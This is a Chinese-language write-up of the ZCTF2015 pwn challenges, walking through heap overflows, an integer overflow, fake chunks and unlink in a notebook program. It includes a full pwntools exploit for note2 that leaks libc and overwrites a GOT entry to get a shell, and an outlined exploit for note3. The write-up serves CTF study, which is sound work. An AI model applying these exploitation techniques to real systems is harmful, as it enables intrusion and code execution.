ZCTF2015 pwn試題分析
ZCTF的pwn賽題分析,
PWN100
這道題與SCTF的pwn100玩法是一樣的,區別在於這個要過前面的幾個限制條件。不能觸發exit(0)。否則就不能實現溢位了。
依然是觸發canary來leak出記憶體中的flag。
note1
這次ZCTF的題是以一個系列出的,以下三個題都是同一個程式。
首先看了一下程式的大概流程,這個是記事本程式。
1.New note\n
2.Show notes list\n
3.Edit note\n
4.Delete note\n
5.Quit\noption--->>
有這麼5個選項。
程式也是透過5個單獨的函式來實現的,
分別對應了這幾個選項。
程式不是簡單的透過一個空間去儲存資料的,而是把資料塊組成了一個連結串列。
透過sub_400989也就是New note功能我們可以看到每個塊的結構。
透過這張圖我們可以看到
這個塊的結構應該是
struct data
{
QWORD Link1;//8byte前向指標
QWORD Link2;//8byte後向指標
byte title[64];//偏移16~80byte處儲存title的字串
byte type[32];//偏移80~112byte處儲存type的字串
byte content[256];//偏移112~368byte處儲存正文的字串
}
正好就是分配的堆的0x170=368個位元組,充分利用了。
我這裡偷了一下懶,知道note1的洞是在3號edit功能中了。
看一下,可以發現是很簡單的遍歷連結串列判斷名字是不是自己想要的,那麼漏洞也只會是這個了。
堆在分配的時候一共才368個位元組,而留給context的是256個位元組。到這裡猜想就是類似於堆溢位一樣的DWORD SHOOT了,但是要看下釋放機制,如果釋放函式處理不當的話就會造成任意地址寫的漏洞。
如上圖,果然是dword shoot這種東西。只要偽造一個前向指標和後向指標就可以了。
但是這道題的意思是要leak一下地址,libc也給出了。
方法就是用show note這個功能來leak,因為它有一個遍歷連結串列的過程,也是透過溢位去覆蓋下一個塊的指標就可以了。
payload='A'*256 + 'A'*8 + l64(0x0) + l64(0x602040-0x70)+'d'
這樣,當呼叫show功能時,就會leak出地址了。
但是更改時,並沒有用刪除note斷鏈來任意地址寫,而是用了edit的功能來實現任意寫,其實我覺得用unlink也是可以的。
note2
這道題是分值最高的一道,也確實是很夠分量的。new和show功能寫的都很簡單,edit功能卻有點門道在裡面。
1 __int64 sub_400D43() 2 { 3 void *Temp_Buf; // rax@13 4 void *Temp_Buf3; // rbx@13 5 int v3; // [sp+8h] [bp-E8h]@3 6 int v4; // [sp+Ch] [bp-E4h]@7 7 char *src; // [sp+10h] [bp-E0h]@5 8 __int64 size; // [sp+18h] [bp-D8h]@5 9 char local_buf; // [sp+20h] [bp-D0h]@11 10 void *Temp_Buf2; // [sp+A0h] [bp-50h]@13 11 __int64 v9; // [sp+D8h] [bp-18h]@1 12 13 v9 = *MK_FP(__FS__, 40LL); 14 if ( NumOfChunk ) 15 { 16 puts("Input the id of the note:"); 17 v3 = GetNumber(); 18 if ( v3 >= 0 && v3 <= 3 ) 19 { 20 src = (char *)*(&Pointer + v3); 21 size = SizeOfChunk[v3]; 22 if ( src ) 23 { 24 puts("do you want to overwrite or append?[1.overwrite/2.append]"); 25 v4 = GetNumber(); 26 if ( v4 == 1 || v4 == 2 ) 27 { 28 if ( v4 == 1 ) 29 local_buf = 0; 30 else 31 strcpy(&local_buf, src); 32 Temp_Buf = malloc(160uLL); 33 Temp_Buf2 = Temp_Buf; 34 *(_QWORD *)Temp_Buf = 'oCweNehT'; 35 *((_QWORD *)Temp_Buf + 1) = ':stnetn'; 36 printf((const char *)Temp_Buf2); 37 GetInput((__int64)((char *)Temp_Buf2 + 15), 144LL, 10); 38 CleanTheInput((const char *)Temp_Buf2 + 15); 39 Temp_Buf3 = Temp_Buf2; 40 *((_BYTE *)Temp_Buf3 + size - strlen(&local_buf) + 14) = 0; 41 strncat(&local_buf, (const char *)Temp_Buf2 + 15, 0xFFFFFFFFFFFFFFFFLL); 42 strcpy(src, &local_buf); 43 free(Temp_Buf2); 44 puts("Edit note success!"); 45 } 46 else 47 { 48 puts("Error choice!"); 49 } 50 } 51 else 52 { 53 puts("note has been deleted"); 54 } 55 } 56 } 57 else 58 { 59 puts("Please add a note!"); 60 } 61 return *MK_FP(__FS__, 40LL) ^ v9; 62 }
40和41行寫的很有意思,剛開始沒理解是什麼意義,尤其是還有個減的操作,跟著除錯幾次發現了原來這麼寫是為了防止寫入溢位的。+ size - strlen(&local_buf)是在計算這個塊還能容納多少位元組。然後再寫個0上去。
事實上,這道題看不出有什麼明顯的漏洞,這也是我說這道題有分量的原因。當我們在new的時候,給大小指定為0。那麼size陣列中記錄的大小就也會為0。這樣就會溢位掉下一個堆塊。
經過除錯發現malloc(0)會分配
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 from pwn import * 4 #io = process('./note2') 5 io = remote('115.28.27.103', 9002) 6 atoi_off = 0x39F50 7 system_off = 0x46640 8 def addnote(length,content): 9 global io 10 print io.recvuntil('option--->>') 11 io.sendline('1') 12 print io.recvuntil(')') 13 io.sendline(str(length)) 14 print io.recvuntil(':') 15 io.sendline(content) 16 return 17 18 def delnote(id): 19 global io 20 print io.recvuntil('option--->>') 21 io.sendline('4') 22 print io.recvuntil(':') 23 io.sendline(str(id)) 24 return 25 26 def editnote(id,oa,content): 27 global io 28 print io.recvuntil('option--->>') 29 io.sendline('3') 30 print io.recvuntil(':') 31 io.sendline(str(id)) 32 print io.recvuntil(']') 33 io.sendline(str(oa)) 34 print io.recvuntil(':') 35 io.sendline(content) 36 return 37 def main(): 38 name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 39 address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks 40 #raw_input('Attach now!') 41 print io.recvuntil(':') 42 io.sendline(name) 43 print io.recvuntil(':') 44 io.sendline(address) 45 46 k = 127 47 # find a way to free 0x602110 48 addnote(128,'bbb') 49 addnote(0,'aaa') # '0' bypasses everthing :> 50 addnote(128,'cccc') 51 # ????? why always 39 chars appended????? but not in online env,,, 52 # somekind of strncat bug? 53 editnote(1,1,39*'a') # 39 added per append 54 editnote(1,2,39*'b') # 78 55 editnote(1,2,39*'c') # 117 56 editnote(1,2,10*'d') 57 58 editnote(1,2,'a'*(128-k)+p64(0x602110)) 59 addnote(128,0x10*'a'+p64(0x602088)) 60 print io.recvuntil('option--->>') 61 io.sendline('2') 62 print io.recvuntil(':') 63 io.sendline('0') 64 print io.recvuntil('is ') 65 buf = io.recvuntil('\n')[:-1] + '\x00\x00' 66 atoi = u64(buf) 67 libc_base = atoi - atoi_off 68 log.success('Libc Base = ' + hex(libc_base)) 69 system = libc_base + system_off 70 editnote(0,1,p64(system)) 71 72 print io.recvuntil('option--->>') 73 io.sendline('/bin/sh') 74 75 io.interactive() 76 77 return 0 78 if __name__ == '__main__': 79 main()
我們可以看到是分兩步完成的
1.leak 記憶體(任一個函式的地址,用來算出偏移)
2.修改got表
從這個角度來說思路很清晰。來看看是怎麼做的吧
首先是leak記憶體,這是從exp中抽取出來的leak記憶體的部分
1 name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 要48byte才行 2 address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks 3 io.sendline(name) 4 io.sendline(address)#設定兩個bss段中的內容 5 k = 127 6 # find a way to free 0x602110 7 addnote(128,'bbb') 8 addnote(0,'aaa') # '0' bypasses everthing :> 9 addnote(128,'cccc') 10 # ????? why always 39 chars appended????? but not in online env,,, 11 # some kind of strncat bug? 12 editnote(1,1,39*'a') # 39 added per append #為啥要是1號塊?這不是一個空塊嗎? 13 editnote(1,2,39*'b') # 78 #只是為了釋放0x602110 14 editnote(1,2,39*'c') # 117 15 editnote(1,2,10*'d') # 127 16 #D0-50=128個位元組 17 editnote(1,2,'a'*(128-k)+p64(0x602110)) 18 addnote(128,0x10*'a'+p64(0x602088)) 19 20 io.sendline('2') #直接呼叫2號show功能leak出記憶體了 21 io.sendline('0')
思路是用bss段中的name緩衝區偽造一個堆,堆結構如下
0x0|0x91|內容
為什麼要構造一個堆呢?
因為偽造這個堆之後釋放這個偽造的堆,以後再分配一個堆時,得到的還是這個偽造的堆。
name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks 要48byte才行
address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks
io.sendline(name)
io.sendline(address)#設定兩個bss段中的內容
這是在偽造堆
addnote(128,'bbb')
addnote(0,'aaa') # '0' bypasses everthing :>
addnote(128,'cccc')
# ????? why always 39 chars appended????? but not in online env,,,
# some kind of strncat bug?
editnote(1,1,39*'a') # 39 added per append #為啥要是1號塊?這不是一個空塊嗎?
editnote(1,2,39*'b') # 78 #只是為了釋放0x602110
editnote(1,2,39*'c') # 117
editnote(1,2,10*'d') # 127
#D0-50=128個位元組
editnote(1,2,'a'*(128-k)+p64(0x602110))
用棧溢位來釋放偽造的堆
addnote(128,0x10*'a'+p64(0x602088))
利用分配堆重新獲得偽造的堆,並溢位ptr
因為這是記憶體佈局導致的
ptr正好在偽造堆塊下面,剛好會被蓋住
然後就利用這個來leak got表內容,如exp所寫的
io.sendline('2') #直接呼叫2號show功能leak出記憶體了
io.sendline('0')
由於前面用atoi蓋住了got表的地址,所以直接edit操作就可以改寫atoi的got表。exp裡把它改寫成system的地址
然後就可以了。
editnote(0,1,p64(system))
最後總結一下這個題,這個題本質上是由於bss段記憶體佈局的問題去覆蓋指標的,實質上並不是常規的那幾種堆的漏洞。
偽造堆主要是為了可以重新獲得這塊記憶體,然後加以編輯。其實並不是堆的漏洞,只是借堆來實現覆蓋bss段中的指標。
note3
這個題的入手點就是一個整型溢位。這個是我看writeup才知道的,因為實在沒找到哪裡有整型溢位,看了一下writeup,居然是獲取輸入數字的函式有溢位。
這道題一開始沒看明白是什麼意思,後來著重研究了一下add note函式,才明白是什麼意思,原來又是坑爹的記憶體佈局導致的問題。
注意紅色的部分,有沒有覺得這個寫法很怪?這不是F5外掛的問題,程式就是這麼寫的。相當坑爹,我們來看看bss段的情況吧。
這個就是bss段的佈局,忽略資料單位因為我不知道在ida裡怎麼都轉成同一的單位。
看看他是怎麼佈局的
- qword_6020c0
- 最後增加(或編輯)的塊的指標
- ptr
- 塊的指標陣列
- 塊的大小陣列
坑爹就坑爹在這,這也是整數溢位派上用場的地方。
溢位成-1後,正常的
sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], 10);
就成了:向最後增加的塊,寫入超大長度的資料(把指標當成整數來處理,當然是特別特別大了)
那麼,截至到目前為止,我們做的這些事情的目的都是什麼呢?答案是造成堆溢位,然後構造偽造堆塊。其實截至目前我們做的都是為了得到堆溢位,因為正常情況下都會驗證長度是沒有辦法使堆溢位的,我們分析了半天就是想辦法造成了堆溢位。
有了堆溢位,一切都明朗起來了,因為接下來就是套路了,就像我在note2裡寫的那樣。偽造一個空堆,釋放相鄰的堆,引發空堆合併,觸發unlink宏。
一切都清晰了~
我那Nu1L的exp來說下具體的流程吧
1 malloc(512,'/bin/sh\0') 2 malloc(512,'/bin/sh\0') 3 malloc(512,'/bin/sh\0') 4 malloc(512,'/bin/sh\0') 5 malloc(512,'/bin/sh\0') 6 malloc(512,'/bin/sh\0') 7 malloc(512,p64(0x400ef8)) 8 malloc(512,'/bin/sh\0') 9 # 2. make a fake chunk and modify the next chunk's pre size 10 fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16) 11 #ptr中的地址作為偽堆塊 12 edit(3,'aaaaaa') 13 edit(intoverflow,fakechunk) 14 # 3. double free 15 free(4) 16 # 4. overwrite got 17 edit(3,free_got) 18 edit(0,printf_plt+printf_plt) 19 # 5. leak the stack data 20 edit(3,p64(0x6020e8)) 21 edit(0,'%llx.'*30) 22 #free->puts 23 24 conn.sendline('4') 25 26 conn.sendline(str(0)) 27 28 ret = conn.recvuntil('success') 29 30 # 6. calcuate the system's addr 31 libcstart = ret.split('.')[10] 32 libcstart_2 = int(libcstart,16) - libcstartmain_ret_off 33 34 system_addr = libcstart_2 + sys_off 35 36 # 7. overwrite free's got 37 edit(3,free_got) 38 edit(0,p64(system_addr)+printf_plt) 39 # 8. write argv 40 edit(3,p64(0x6020d0)) 41 edit(0,'/bin/sh\0') 42 # 9. exploit 43 44 conn.sendline('4') 45 46 conn.sendline(str(0)) 47 sleep(0.2) 48 conn.interactive()
具體的實現程式碼都刪了,想看可以在FreeBuf找到,只看流程。
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
分配8個堆,malloc就是個自己實現的python函式,呼叫add功能的
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
對3號塊進行編輯,是為了是它成為最後編輯的,讓3號塊的地址進入qword_6020c0[0],待會就會往這裡寫了。intoverflow是整數溢位造成的-1。-1有啥用上面已經說過了。
看下偽造堆塊的情況吧
0|513|0x6020e0-0x18|0x6020e0-0x10|'A'*(512-32)
0說明前塊正在使用中,513說明此塊大小是512byte而且是空閒的,0x6020e0是用來過unlink check的
512|512+16
這個就是覆蓋了下一個堆塊的頭了,也就是所說的堆溢位了。
注意512是前塊的大小,這個值不為0說明前塊為空。512+16中的512是當前塊的大小而16是什麼呢?
free(4)
釋放觸發了unlink宏,因為空塊合併的原則。
相關文章
- SCTF 2015 pwn試題分析2016-05-11
- SCTF 2014 pwn題目分析2016-05-11
- plaidctf-2016 Pwn試題小結2016-11-21AI
- DozerCTF-PWN題解2024-04-28
- PWN出題小記2024-04-11
- protobuf pwn題專項2024-08-03
- pwn題libc換源2024-05-29
- pwn題命令列解題指令碼2021-04-05命令列指令碼
- XYCTF pwn部分題解 (部分題目詳解)2024-04-29
- SCTF 2014 PWN400 分析2016-05-18
- [Black Watch 入群題]PWN 12024-06-04
- 2024御網線上Pwn方向題解2024-11-01
- 歷年軟體設計師考試試題分析2018-04-15
- [2024領航杯] Pwn方向題解 babyheap2024-10-14
- 關於pwn題的棧平衡中ret的作用2024-04-06
- windows pwn(一)2023-03-01Windows
- 【Pwn】maze - writrup2024-07-28
- NewStarCTF-pwn2024-11-13
- 胖哈勃杯Pwn400、Pwn500詳解2017-07-03
- 陶哲軒實分析 3.3 節習題試解2016-04-17
- 高校戰“疫”網路安全分享賽-部分PWN題-wp2020-04-11
- Hitcon 2016 Pwn賽題學習2017-04-26
- Arm pwn學習2020-08-07
- 虛擬PWN初探2020-09-11
- PWN系列-初探IO2024-05-23
- pwn前置知識2024-07-30
- CTF_pwn_堆2024-07-30
- 滲透測試 網站安全測試行業問題分析2020-03-09網站行業
- 近五年上午試題分佈分析 (轉)2007-12-14
- pwn 之 沙箱機制2022-04-25
- 0X01-PWN2024-04-28
- pwn.college-Program Misuse2024-03-09
- 923 pwn學習2024-09-24
- CTFSHOW pwn03 WrriteUp2024-09-25
- CTF_PWN_棧ROP2024-07-30
- TLScanary:Pwn中的利器2024-07-12TLS
- CTF-PWN學習2024-08-11
- Chaos 測試下的若干 NebulaGraph Raft 問題分析2022-12-14Raft